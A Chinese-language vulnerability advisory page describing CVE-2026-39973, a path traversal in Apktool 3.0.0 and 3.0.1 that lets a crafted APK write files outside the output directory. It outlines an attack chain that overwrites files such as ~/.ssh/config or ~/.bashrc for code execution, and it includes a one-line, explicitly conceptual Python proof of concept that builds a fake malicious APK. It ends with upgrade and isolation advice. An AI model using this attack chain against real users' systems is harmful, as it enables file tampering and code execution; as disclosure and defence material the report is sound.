IPBUF安全漏洞报告
English
CVE-2026-39973 CVSS 7.1 高危

CVE-2026-39973 Apktool路径遍历致任意文件写入漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-39973
漏洞类型
路径遍历
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Apktool

相关标签

路径遍历Apktool任意文件写入RCEAndroid安全

漏洞概述

Apktool 3.0.0及3.0.1版本存在严重的路径遍历漏洞。该漏洞源于ResFileDecoder.java中移除了关键的路径清理代码,导致攻击者可精心制作恶意APK文件,利用resources.arsc字符串池中的../序列绕过目录限制。当用户使用Apktool解码该APK时,攻击者可向系统任意位置写入文件,进而可能实现远程代码执行。

技术细节

该漏洞是一个典型的安全回归问题,由commit e10a045引入。开发者在重构代码时,错误地从`ResFileDecoder.java`中移除了用于防御路径遍历的关键调用`BrutIO.sanitizePath()`。攻击者利用这一点,可以在恶意APK的`resources.arsc`文件的Type String Pool字段中精心构造包含`../`序列的字符串数据。当受害者使用受影响版本的Apktool执行`apktool d`命令对该APK进行反编译或解码时,程序会解析资源池中的字符串并将其作为文件路径进行拼接。由于缺乏输入过滤,攻击者可以利用路径回溯逃逸预设的输出目录,将恶意内容写入文件系统的任意位置。通过覆盖配置文件(如`~/.ssh/config`、`~/.bashrc`)或系统启动目录,攻击者可最终在用户环境中执行任意代码,造成严重的安全威胁。

攻击链分析

STEP 1
1. 恶意APK构造
攻击者修改APK的resources.arsc文件,在Type String Pool中嵌入包含../序列的恶意路径字符串。
STEP 2
2. 交付恶意文件
攻击者将构建好的恶意APK文件发送给目标用户,或上传至公共资源库诱导下载。
STEP 3
3. 触发漏洞
用户使用受影响版本的Apktool(3.0.0或3.0.1)对恶意APK执行解码操作(apktool d)。
STEP 4
4. 写入恶意文件
Apktool在解码过程中因未过滤路径,将恶意文件写入用户系统外的任意位置(如~/.ssh/config)。
STEP 5
5. 执行代码
利用写入的配置文件或启动脚本,攻击者在用户下次操作时获得系统执行权限,实现RCE。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # PoC for CVE-2026-39973: Path Traversal in Apktool # This script demonstrates how to create a malicious APK structure # that exploits the missing BrutIO.sanitizePath() check. def create_malicious_apk(output_path): # 1. Create a minimal directory structure for the APK base_dir = "malicious_apk" os.makedirs(base_dir, exist_ok=True) # 2. Create a dummy AndroidManifest.xml with open(os.path.join(base_dir, "AndroidManifest.xml"), "wb") as f: f.write(b"<manifest></manifest>") # 3. Create a malicious resources.arsc # In a real scenario, this requires binary manipulation of the ARSC format # to include a string like "../../../tmp/poc.txt" in the string pool. # Here we simulate the structure concept. print("Generating malicious resources.arsc with path traversal sequence...") # Simulated binary content (Conceptual PoC) # The actual exploit involves crafting the Type String Pool in resources.arsc # to contain paths like "../../../../../../tmp/pwned". arsc_content = b"FAKE_ARS_HEADER" + b"../../../../tmp/exploit.txt" with open(os.path.join(base_dir, "resources.arsc"), "wb") as f: f.write(arsc_content) # 4. Zip it into an APK with zipfile.ZipFile(output_path, 'w') as zf: for root, dirs, files in os.walk(base_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, base_dir) zf.write(file_path, arcname) print(f"Malicious APK created at: {output_path}") print("When 'apktool d {}' is run, it attempts to write to /tmp/exploit.txt".format(output_path)) if __name__ == "__main__": create_malicious_apk("cve_2026_39973_poc.apk")

影响范围

Apktool 3.0.0
Apktool 3.0.1

防御指南

临时缓解措施
建议用户立即将Apktool更新至3.0.2版本,该版本重新引入了BrutIO.sanitizePath()路径清理逻辑,修复了此漏洞。在无法立即升级的情况下,应严格避免使用Apktool处理来源不明的APK文件,或在虚拟机等隔离环境中进行操作,以防止攻击者利用该漏洞写入系统文件或窃取凭据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表